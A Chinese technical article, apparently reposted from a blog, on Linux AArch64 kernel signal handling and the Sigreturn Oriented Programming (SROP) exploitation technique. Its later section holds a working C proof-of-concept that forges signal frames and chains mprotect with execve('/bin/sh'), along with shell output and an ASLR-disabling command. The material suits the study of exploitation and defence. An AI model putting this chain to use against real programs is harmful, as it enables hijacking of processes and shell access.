/*此函數先從線程私有隊列中查找信號,沒有則從線程組共享信號隊列中查找信號:* 若一個信號調用默認處理函數,則此函數內部會直接將其處理掉.* 若一個信號指定要被忽略,則此函數會直接刪除并忽略此信號.* 若一個信號指定了handler,則此函數立即返回,不再處理其余信號.需要注意的是此函數會忽略當前線程block的信號(current->blocked) */ bool get_signal(struct ksignal *ksig) {/* 線程組共用結構體 */struct sighand_struct *sighand = current->sighand;struct signal_struct *signal = current->signal;int signr;/* 信號處理要返回用戶態,在此之前task如果有work需要做則先執行work函數 */if (unlikely(current->task_works))task_work_run();...... relock:spin_lock_irq(&sighand->siglock);......for (;;) {struct k_sigaction *ka;......signr = dequeue_synchronous_signal(&ksig->info); /* 優先處理同步信號,如 SIGTRAP *//* 從線程pending/shared_pending隊列中獲取一個信號并將其移出隊列(dequeue), 當前線程blocked的信號會被忽略 */if (!signr)signr = dequeue_signal(current, &current->blocked, &ksig->info);if (!signr) break; /* 沒有其他信號需要處理則跳出循環 */ka = &sighand->action[signr-1];......if (ka->sa.sa_handler == SIG_IGN) /* 若此信號標記為被忽略,則處理下一個信號 */continue;if (ka->sa.sa_handler != SIG_DFL) { /* 若找到了一個需要調用handler的信號,則記錄信息后返回 *//* Run the handler. */ksig->ka = *ka;if (ka->sa.sa_flags & SA_ONESHOT) /* oneshot的信號需要重置為默認handler */ka->sa.sa_handler = SIG_DFL;break; }/* 到這里說明此信號要調用默認的處理函數,對于默認處理函數為忽略的信號直接continue處理下一個 */if (sig_kernel_ignore(signr)) /* Default is nothing. */continue;if (sig_kernel_stop(signr)) {......}fatal: /* 當收到SIGKILL等信號時會走這里 */.......if (sig_kernel_coredump(signr)) {.......do_coredump(&ksig->info);}.......do_group_exit(ksig->info.si_signo);}spin_unlock_irq(&sighand->siglock); out:ksig->sig = signr;......return ksig->sig > 0; }

??其中do_signal=>get_signal=>dequeue_synchronous_signal/dequeue_signal邏輯類似,這里僅以dequeue_signal為例:

/* 此函數從pending/shared_pending中下鏈一個信號, 并檢查此線程組中是否還有需要處理的信號,沒有則清空線程的TIF_SIGPENDING. 此函數中的mask為阻塞掩碼, 被阻塞的信號在查找過程中被忽略. */ int dequeue_signal(struct task_struct *tsk, sigset_t *mask, kernel_siginfo_t *info) {bool resched_timer = false;int signr;/* 從pending隊列下鏈一個信號并通過info返回,需要注意的是這里傳入的mask是block掩碼, 即信號獲取時會忽略被block的信號 */signr = __dequeue_signal(&tsk->pending, mask, info, &resched_timer);if (!signr) {/* 如線程私有的pending隊列中沒有信號,則檢查線程組的shared_pending隊列是否有要處理信號 */signr = __dequeue_signal(&tsk->signal->shared_pending, mask, info, &resched_timer);......}/* 若此線程的私有信號隊列(pending)或線程組信號隊列(shared_pending)中還有信號,則當前線程不會清空TIF_SIGPENDING,清空則代表所有信號都處理完畢 */recalc_sigpending();if (!signr) return 0;.......return signr; }

??在確定信號需要執行handler后, do_signal=>handle_signal負責將handler函數指針設置到用戶態執行上下文中，其代碼如下:

static void handle_signal(struct ksignal *ksig, struct pt_regs *regs) {sigset_t *oldset = sigmask_to_save();int usig = ksig->sig;int ret;....../*在用戶棧上為信號分配棧幀,其中保留用戶態當前上下文(pt_regs); 同時設置新的用戶態上下文,包括pc指向信號處理函數, sp指向新棧頂,信號處理函數返回地址設置為__kernel_rt_sigreturn等.此函數設置后, 當此異常返回到用戶態時會直接跳轉到信號處理函數.*/ret = setup_rt_frame(usig, ksig, oldset, regs);ret |= !valid_user_regs(&regs->user_regs, current); /* 檢查單步調試和pstate等狀態狀態是否正確 */....... }

? 其中setup_rt_frame負責在用戶態棧上保存異常前的執行環境，并設置用戶態返回后直接跳轉到信號處理函數:

/*內核會在用戶態棧幀中為每個信號處理函數構建一個棧幀, 此棧幀由一個 rt_sigframe + frame_record結構體組成,其中:* rt_sigframe結構體負責記錄當前信號信息和信號發生時用戶態的上下文信息* frame_record用來支持棧回溯,其fp/lr分別來自rt_sigframe.uc.uc_mcontext.regs[29]/regs[30]ps: 對于用戶態,其可以設置使用當前函數棧作為信號處理的棧幀，也可以單獨為信號創建一個信號棧幀. */ struct rt_sigframe {struct siginfo info; /* 記錄當前信號處理函數處理的信號信息 */struct ucontext uc; /* 記錄當前信號處理函數執行前的用戶態上下文 */ };struct frame_record {u64 fp;u64 lr; }; /*此函數在用戶棧上為信號分配棧幀,其中保留用戶態當前上下文(pt_regs); 同時設置新的用戶態上下文,包括pc指向信號處理函數, sp指向新棧頂,信號處理函數返回地址設置為__kernel_rt_sigreturn等. */ static int setup_rt_frame(int usig, struct ksignal *ksig, sigset_t *set, struct pt_regs *regs) {struct rt_sigframe_user_layout user;struct rt_sigframe __user *frame;int err = 0;....../*在當前用戶棧或用戶態專用信號棧上計算下一個信號棧幀需要的空間,此空間包含一個 rt_sigframe 和一個 frame_record結構體, 二者的(用戶態)地址分別記錄在user->sigframe/next_frame中, 此時regs->sp(即用戶態上下文)尚未被修改.為了便于理解，后面僅以信號直接使用用戶棧的情況為例; frame_record只用于棧回溯,同樣也忽略;*/if (get_sigframe(&user, ksig, regs))return 1;frame = user.sigframe; /* 獲取用戶態剛分配的的rt_sigframe結構體指針 */....../* 將信號發生前用戶態上下文(pt_regs)記錄到用戶態棧 user->sigframe.uc.uc_mcontext中 */err |= setup_sigframe(&user, regs, set);if (err == 0) {/* 設置新的pt_regs,對pt_regs的修改在返回用戶態后會直接使控制流轉移到信號處理函數:* 用戶態pc(regs->pc) 指向用戶態handler* 函數返回地址(regs->regs[30]) 指向vdso __kernel_rt_sigreturn* 設置正確的用戶態棧幀用戶態信號處理函數ret返回后會跳轉到 __kernel_rt_sigreturn 繼續執行*/setup_return(regs, &ksig->ka, &user, usig);/* 如果需要siginfo則復制回用戶態,體現為信號處理函數的參數0/1 */if (ksig->ka.sa.sa_flags & SA_SIGINFO) { err |= copy_siginfo_to_user(&frame->info, &ksig->info);regs->regs[1] = (unsigned long)&frame->info;regs->regs[2] = (unsigned long)&frame->uc;}}return err; }

4.3 中斷處理函數執行完畢后恢復用戶態上下文

? 由上可知,當內核發現一個信號需要執行信號處理函數時, 會保存當前用戶態上下文并重置為信號處理的上下文。

? ?當前用戶態上下文是保存在用戶態棧中, 信號處理函數執行完畢后需要恢復到原有用戶態上下文執行, 這一步上下文恢復操作是通過sys_rt_sigreturn系統調用完成的, 在設置信號處理上下文時setup_rt_frame會設置其返回地址為__kernel_rt_sigreturn, 這樣信號處理函數執行完畢后即可以無感知的通過正常函數返回(ret)跳轉并執行sys_rt_sigreturn系統調用，sys_rt_sigreturn定義如下:

SYSCALL_DEFINE0(rt_sigreturn) {struct pt_regs *regs = current_pt_regs(); /* 獲取用戶態當前上下文 */struct rt_sigframe __user *frame;......frame = (struct rt_sigframe __user *)regs->sp; /* 獲取用戶態棧幀中的 rt_sigframe指針 */if (!access_ok(frame, sizeof (*frame))) /* 棧幀只能來自用戶態 */goto badframe;/* 從用戶態棧幀恢復之前的上下文,在恢復前要檢查可能導致提權的pstate等值 */if (restore_sigframe(regs, frame)) goto badframe;......./* regs[0]是系統調用前用戶態的R0, 若此調用來自用戶態信號處理函數(最后的ret),則R0記錄的是信號處理函數的返回值 */return regs->regs[0]; badframe:arm64_notify_segfault(regs->sp);return 0; }

??其中restore_sigframe用來從用戶態棧幀恢復原本的用戶態上下文,其定義如下:

static int restore_sigframe(struct pt_regs *regs, struct rt_sigframe __user *sf) {sigset_t set;int i, err;struct user_ctxs user;/* 從用戶態棧幀復制并設置新的block掩碼 */err = __copy_from_user(&set, &sf->uc.uc_sigmask, sizeof(set));if (err == 0)set_current_blocked(&set);/* 從用戶態棧幀恢復原有的用戶態上下文 */for (i = 0; i < 31; i++)__get_user_error(regs->regs[i], &sf->uc.uc_mcontext.regs[i], err);__get_user_error(regs->sp, &sf->uc.uc_mcontext.sp, err);__get_user_error(regs->pc, &sf->uc.uc_mcontext.pc, err);/* pstate同樣來自用戶態,但在此函數末尾要經過充分檢查 */__get_user_error(regs->pstate, &sf->uc.uc_mcontext.pstate, err);forget_syscall(regs); /* 確保sys_rt_sigreturn返回任何值都不會導致系統調用重新執行 *//* 檢查用戶態參數的安全性, 如pstate最終會被設置到cpsr中, 如果其設置有錯誤可能會導致用戶態異常級別被提升,故這里需要進行充分的檢查. */err |= !valid_user_regs(&regs->user_regs, current);......return err; /* 當前用戶態寄存器已經均回復到信號處理函數發生前的狀態了, 此時返回用戶態 */ }

4.4 內核線程信號處理舉例

這里以內核線程 jffs2_garbage_collect_thread為例:

static int jffs2_garbage_collect_thread(void *_c) {.......siginitset(&hupmask, sigmask(SIGHUP));allow_signal(SIGKILL); /* 允許用戶態發送 SIGKILL/SIGSTOP/SIGHUP 信號 */allow_signal(SIGSTOP);allow_signal(SIGHUP);.......for (;;) { /* 處理收到的用戶態發送的*/.......while (signal_pending(current) || freezing(current)) {.......signr = kernel_dequeue_signal();switch(signr) {case SIGSTOP:jffs2_dbg(1, "%s(): SIGSTOP received\n", __func__);kernel_signal_stop();break;case SIGKILL:jffs2_dbg(1, "%s(): SIGKILL received\n", __func__);goto die;case SIGHUP:jffs2_dbg(1, "%s(): SIGHUP received\n", _func__);break;default:jffs2_dbg(1, "%s(): signal %ld received\n",__func__, signr);}}....... }

五、SROP原理與安全性分析

? 在DEP(Data Execution Prevention)普遍部署之后, 控制流劫持后跳轉到數據執行shellcode(如棧溢出后跳轉到棧執行)的方式就基本無法使用了。攻擊者通常只能通過ret2xxx(如ret2libc/ROP/JOP)的方式執行其所需要的代碼邏輯，但構建這樣的執行序列通常并不容易，以ROP(Return Orientend Programming)為例，攻擊者通常需要滿足以下前提:

1) 攻擊者可以在目標應用中收集到足夠多的gadgets且可以確定其運行時地址

2) 攻擊者可以在程序運行時將適合的數據布局到棧中

3) 攻擊者可以利用漏洞劫持控制流并跳轉到第一個gadget

對于 1) 來說能否滿足條件:

• 首先取決于目標應用中是否存在滿足攻擊者需要的gadget
• 其次二進制及其運行庫的版本對gadget的影響極大, 不同版本的適配需要大量的工作，exp的通用性也難以保證
• 一些安全特性也會增加gadget獲取難度，如:
  • gadget消除技術可能導致無法獲取所需的gadgets
  • ASLR隨機化會使獲取gadgets的運行時地址更加困難

而 SROP(Sigreturn Orientend Programming)[1,2]的出現則可以解決1)中遇到的絕大多數問題:

• 最理想情況下, SROP只需要一個不需要參數的sigreturn gadget既可以完成execve。
• sigreturn 在大多數系統(Linux/Android/BSD/Max OS/...) 運行時的大多數可執行文件中幾乎都存在，這會極大減少適配工作，exp也可以更加通用。
• 安全特性對SROP沒有保護或較容易繞過:
  • ASLR最多只需要一個infoleak即可獲取sigreturn地址，在某些系統中此地址甚至是固定的。
  • sigreturn是信號處理必須的系統調用，從Unix開始就一直存在超過40年, 此gadget在二進制中難以被消除。

以AArch64為例, 由前面可知在信號處理的過程中:

內核不負責保存信號處理函數執行前的用戶態上下文，這些信息會保存在用戶態棧幀中

內核返回用戶態執行信號處理之前會設置信號處理函數的返回地址(x30)指向[vdso]中的__kernel_rt_sigreturn函數

信號處理函數執行完畢后通過ret指令跳轉到__kernel_rt_sigreturn.

__kernel_rt_sigreturn通過svc指令調用系統調用sys_[rt_]sigreturn,從用戶態棧中恢復信號前的用戶態上下文，最終返回到用戶態的此上下文繼續執行,此函數定義如下:

##內核代碼 ##./arch/arm64/kernel/vdso/sigreturn.S SYM_CODE_START(__kernel_rt_sigreturn)mov x8, #__NR_rt_sigreturnsvc #0 SYM_CODE_END(__kernel_rt_sigreturn## 用戶態運行時的vdso 00400000-00479000 r-xp 00000000 00:02 5 /main 00489000-0048a000 r--p 00079000 00:02 5 /main 0048a000-0048c000 rw-p 0007a000 00:02 5 /main 0048c000-0048f000 rw-p 00000000 00:00 0 28044000-28066000 rw-p 00000000 00:00 0 [heap] ffffa0c63000-ffffa0c65000 r--p 00000000 00:00 0 [vvar] ffffa0c65000-ffffa0c66000 r-xp 00000000 00:00 0 [vdso] fffff31e5000-fffff3206000 rw-p 00000000 00:00 0 [stack]__kernel_rt_sigreturn:0xffffa0c6585c: mov x8, #0x8b // #139 __NR_rt_sigreturn0xffffa0c65860: svc #0x0 //d4000001

? 這也就意味著只要攻擊者控制了當前棧幀并執行一個sys_rt_sigreturn后，既可以控制當前用戶態的所有通用硬件寄存器，包括:

• R0-R29:即攻擊者可以控制所有參數
• R30: 即攻擊者可以控制后續的函數返回地址
• PC: 即攻擊者可以控制sys_rt_sigreturn返回的地址
• SP: 即攻擊者可以控制返回后的棧幀

? 簡單說sigreturn實際上就是一個能力極其強大的gadget，其可以完成任何參數設置，控制流轉移，返回地址設置，堆棧指針修改操作。且由于sigreturn中本身就存在一條svc指令，攻擊者同時還可以復用此gadget執行一次execve來獲取本地shell。利用SROP執行execve的流程如下圖:

? 但需要注意的是如果使用SROP來chain多個系統調用時，則還需一個額外的 syscall& ret; gadget, 這是因為 __kernel_rt_sigreturn中雖然有一個可用的svc指令，但其后面通常沒有ret指令，因此此svc指令其不能用來鏈接gadget chain。 如當攻擊者需要執行如 mprotect + shellcode時, 則需要找到一個 svc 0; ret; 指令序列來確保 mprotect系統調用執行完畢后會有一條ret指令可以返回到sigreturn 設置的lr寄存器位置。以下代碼可用來簡單測試SROP和基于SROP的syscall chain:

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <signal.h> #include <fcntl.h> #include <asm/ucontext.h> #include <sys/syscall.h> #include <sys/mman.h>/* rt_sigreturn check if sp is 16 byte aligned */ #define _ROUND_UP(x,n) (((x)+(n)-1u) & ~((n)-1u)) #define ROUND_UP(x) _ROUND_UP(x,16LL) #define ROUND_DOWN(x) ((x) & (~((16LL)-1)))struct sigframe {siginfo_t info;struct ucontext uc; };struct sigframe g_backup; /* used to stuff new sigframe */ void * sigreturn_addr; /* address of sigreturn */ void * syscall_ret_addr; /* address of a gadget has syscall with ret insn to chain next directive */ void syscall_ret(void) {asm("svc 0\n\t" :::); /* simpliy emulate a syscall with ret*/ }void action(int signo, siginfo_t *info, void *ctx) {/* check struct size match */struct sigframe *sf = (void *)info;if(&sf->uc != ctx) {printf("[-] sigframe struct size mismatch\n");exit(0);}sigreturn_addr = __builtin_return_address(0); /* get sigreturn address */g_backup.info = *info;g_backup.uc = *(struct ucontext *)ctx;return; }void get_sys_from_signal(void) {struct sigaction act;sigset_t set, oldset;act.sa_sigaction = action;act.sa_flags = SA_SIGINFO;sigemptyset(&act.sa_mask);sigemptyset(&set);sigemptyset(&oldset);sigaddset(&set, SIGUSR1);sigaction(SIGUSR1, &act, NULL);sigprocmask(SIG_SETMASK, &set, &oldset);kill(getpid(), SIGUSR1);/* signal handler will executed before this sycall return */sigprocmask(SIG_SETMASK, &oldset, NULL); }void env_init(void) {/* get addr of sigreturn & syscall insns. */get_sys_from_signal();syscall_ret_addr = &syscall_ret;if(!sigreturn_addr) {printf("[-] sigreturn_addr not set.\n");return 0;}printf("[+] sigreturn addr:%p, syscall_ret addr:%p\n", \sigreturn_addr, syscall_ret_addr); }void show_maps(void) {int ret;char buf[0x100];int fd = open("/proc/self/maps", O_RDONLY);do {memset(buf, 0, sizeof(buf));ret = read(fd, buf, sizeof(buf));write(1, &buf, ret);} while(ret);write(1, "\n", 1);close(fd); }/*This function is used to simulate the vulnerability,(for simplicity) it directly switches the current sp */ void vul_trigger(unsigned long * new_sp) {asm("mov sp, %0\n\t"::"r"(new_sp):);/* ret address should be pop from epilogue in real exp,for stability in the test case, we just change it manurally*/register volatile unsigned long lr asm("x30") = sigreturn_addr;asm("ret\n\t"); }void stuff_sigframe3(struct sigframe * sf, int scno,void * pc, void * lr, void * sp,void * arg0, void * arg1, void *arg2) {struct ucontext * uc = &sf->uc;memset(sf, 0, sizeof(struct sigframe));uc->uc_mcontext = g_backup.uc.uc_mcontext; /* __reserved copies from g_backup */uc->uc_mcontext.regs[30] = lr;uc->uc_mcontext.pc = pc;uc->uc_mcontext.sp = sp;uc->uc_mcontext.regs[8] = scno;uc->uc_mcontext.regs[0] = arg0;uc->uc_mcontext.regs[1] = arg1;uc->uc_mcontext.regs[2] = arg2; }void sigframe_push_mprotect(struct sigframe * frame, void * addr,unsigned long size, int prot, void * pc, void * lr, void * sp) {printf("[+] add to sigframe(%016p): mprotect(%p, %x, %x); \n", frame, addr, size, prot);stuff_sigframe3(frame, SYS_mprotect, pc, lr, sp, addr, size, prot); }void sigframe_push_exec(struct sigframe * frame, char * name,void * argv, void * envp, void * pc, void * sp, void * lr) {printf("[+] add to sigframe(%016p): execve(%s, %p, %p); \n", frame, name, argv, envp);stuff_sigframe3(frame, SYS_execve, pc, lr, sp, name, argv, envp); }void test_mprotect(void * sigret_stack, void * addr, int size, int prot) {unsigned long ret = __builtin_return_address(0);unsigned long cfa = __builtin_frame_address(1);/* set a sigframe for sigreturn to call mprotect, and set paramters to let mprot return to the write caller (current lr), with right sp (cfa). */sigframe_push_mprotect(sigret_stack, addr, size, prot, syscall_ret_addr, ret, cfa);vul_trigger(sigret_stack); }void test_mprotect_wrapper(void) {/* For qemu-user, this struct can't put in funcion like test_mprotect_wrapper,otherwise the vdso insn will lost (should be a bug of qemu) */struct sigframe frame __attribute__((aligned(0x10)));void * sigret_stack = &frame;/* set a 'ret' insn in no executable stack for test if mprotect is succeed. */unsigned long __attribute__((aligned(0x1000))) data = 0xd65f03c0; test_mprotect(sigret_stack, &data, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC);/* stack is RWX for now, function p only execute a single 'ret' insn and canreturn normally. It will cause a crash if mprotect not work. */void (*p)(void) = &data;p(); }struct sigframe_for_exec {struct sigframe frame __attribute__((aligned(0x10)));void * argv[2] __attribute__((aligned(0x10)));char name[0]; };void * test_exec(char * name, int shot) {unsigned long ret = __builtin_return_address(0);unsigned long cfa = __builtin_frame_address(1);void * arg0, * arg1 = NULL, * arg2 = NULL;/* for busybox, we need to give a argv {"/bin/sh", NULL};for real shell it can be zero;*/int strlength = ROUND_UP(strlen(name) + 1);int size = ROUND_UP(sizeof(struct sigframe_for_exec) + strlength);struct sigframe_for_exec * sf_exec = malloc(size);memset(sf_exec, 0, size);arg0 = sf_exec->name;memcpy(arg0, name, sizeof(name));/* --------- no need for real shell ------ */sf_exec->argv[0] = arg0;arg1 = sf_exec->argv;/* ----------------------------------- */sigframe_push_exec(&sf_exec->frame, arg0, arg1, arg2, sigreturn_addr + 4, ret, cfa);if(shot)vul_trigger(sf_exec);elsereturn sf_exec; }void test_mprotect_exec() {/* For qemu-user, this struct can't put in funcion like test_mprotect_wrapper,otherwise the vdso insn will lost (should be a bug of qemu) */struct sigframe frame __attribute__((aligned(0x10)));void * next_sigframe = &frame;void * prev_sigframe = test_exec("/bin/sh", 0);unsigned long ret = __builtin_return_address(0);unsigned long cfa = __builtin_frame_address(1);/*// for exec mprotect1) set stack executable: ret & 0xfff, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC2) call sigreturn, set pc = syscall_ret_addr, which can use a 'svc' insn to execute mprotect3) next insn of 'svc' is a 'ret', 'ret' will redirect pc to sigreturn_addr (address of sigreturn)// for exec execve4) call sigreturn again, just set pc = 'sigreturn + 4', use that 'svc' to execute execve syscallexecve will not return, so 'ret' insn is not needed in this case.pc = syscall_ret_addr is used in step 2) to call a mprotect and is next insn used to control the control flow.lr = sigreturn_addr is used in step 3) to chain mprotect with another sigreturnsp = prev_sigframe is used in step 4) as paramter of sigreturn to redirect control to next 'svc', aka execve.*/sigframe_push_mprotect(next_sigframe, \ret & ~(0xfff), 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, \syscall_ret_addr, sigreturn_addr, prev_sigframe);vul_trigger(next_sigframe); }int main() {show_maps();env_init();test_mprotect_wrapper(); /* mprotect and return normally */printf("[+] test mprotect RWX succeed!\n");//test_exec("/bin/sh", 1); /* execve only */test_mprotect_exec(); /* chain mprotext with a execve */return 0; }

??test case 輸出如下:

Please press Enter to activate this console. # # ./main 00400000-00479000 r-xp 00000000 00:02 5 /main 00489000-0048a000 r--p 00079000 00:02 5 /main 0048a000-0048c000 rw-p 0007a000 00:02 5 /main 0048c000-0048f000 rw-p 00000000 00:00 0 2dedf000-2df01000 rw-p 00000000 00:00 0 [heap] ffffbaf5a000-ffffbaf5c000 r--p 00000000 00:00 0 [vvar] ffffbaf5c000-ffffbaf5d000 r-xp 00000000 00:00 0 [vdso] ffffccde0000-ffffcce01000 rw-p 00000000 00:00 0 [stack][+] sigreturn addr:0xffffbaf5c85c, syscall_ret addr:0x4006e4 [+] add to sigframe(0x00ffffccdff100): mprotect(0xffffccdff000, 1000, 7); [+][kernel] mprotect called with addr:0000ffffccdff000, len:1000, prot:7 ## 內核日志，mprotect調用時打印信息 [+] test mprotect RWX succeed! [+] add to sigframe(0x0000002dee13d0): execve(/bin/sh, 0x2dee2620, (nil)); [+] add to sigframe(0x00ffffccdff0f0): mprotect(0x400000, 1000, 7); [+][kernel] mprotect called with addr:0000000000400000, len:1000, prot:7 ## 內核日志，mprotect調用時打印信息 # exit ## 兩個exit退出, /bin/sh執行成功 # exit Please press Enter to activate this console.

PS:

vdso的地址是通過mmap分配出來的，故用戶態ASLR可以對攻擊者增加一個infoleak的難度, randomize_va_space >=1 時用戶態進程開啟VDSO(mmap)隨機化[4]:

/ # cat /proc/self/maps|grep vdso ffffaf823000-ffffaf824000 r-xp 00000000 00:00 0 [vdso] / # cat /proc/self/maps|grep vdso ffffbb68a000-ffffbb68b000 r-xp 00000000 00:00 0 [vdso]/ # echo 0 > /proc/sys/kernel/randomize_va_space / # cat /proc/self/maps|grep vdso fffff7fff000-fffff8000000 r-xp 00000000 00:00 0 [vdso] / # cat /proc/self/maps|grep vdso fffff7fff000-fffff8000000 r-xp 00000000 00:00 0 [vdso]

參考資料:

[0] 《Linux/Unix 系統編程手冊》

[1] Framing Signals -- A Return to Portable Shellcode

[2] Framing Signals -- A Return to Portable Shellcode(slides)

[3] SROP_「二進制安全pwn基礎」 - 網安

[4] https://docs.oracle.com/cd/E37670_01/E36387/html/ol_aslr_sec.html

總結

以上是生活随笔為你收集整理的linux中的信号处理与SROP的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。